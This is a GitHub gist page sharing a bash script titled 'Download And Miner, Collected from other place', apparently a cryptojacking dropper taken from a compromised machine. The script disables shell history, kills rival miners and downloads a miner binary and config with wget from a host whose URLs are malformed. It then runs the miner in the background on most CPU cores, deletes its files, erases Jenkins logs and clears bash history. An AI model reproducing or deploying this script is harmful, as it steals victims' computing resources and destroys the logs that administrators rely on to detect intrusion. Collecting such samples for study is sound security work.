Skip to content

Instantly share code, notes, and snippets.

@mylamour
Created December 1, 2017 06:41
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save mylamour/27379a44a0a14d67f455d4869f6271c1 to your computer and use it in GitHub Desktop.
Save mylamour/27379a44a0a14d67f455d4869f6271c1 to your computer and use it in GitHub Desktop.
Download And Miner, Collected from other place
#!/bin/bash
unset HISTFILE
killall min
killall min2
VER=`getconf LONG_BIT`
wget http://s/minerd$VER -O /tmp/min
wget http:/s/config.conf -O /tmp/config.conf
chmod 0777 /tmp/min
cpu_c=`grep processor /proc/cpuinfo | wc -l`
if [ $cpu_c -lt "3" ] ; then
threads=1
else
threads=`expr $cpu_c - 2`
fi
cd /tmp
nohup ./min --threads $threads -c config.conf -B 0<&- &>/dev/null
rm -f /tmp/min /tmp/config.conf /tmp/launch.sh /var/log/jenkins/* /tmp/info.sh
echo "" > ~/.bash_history
exit
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment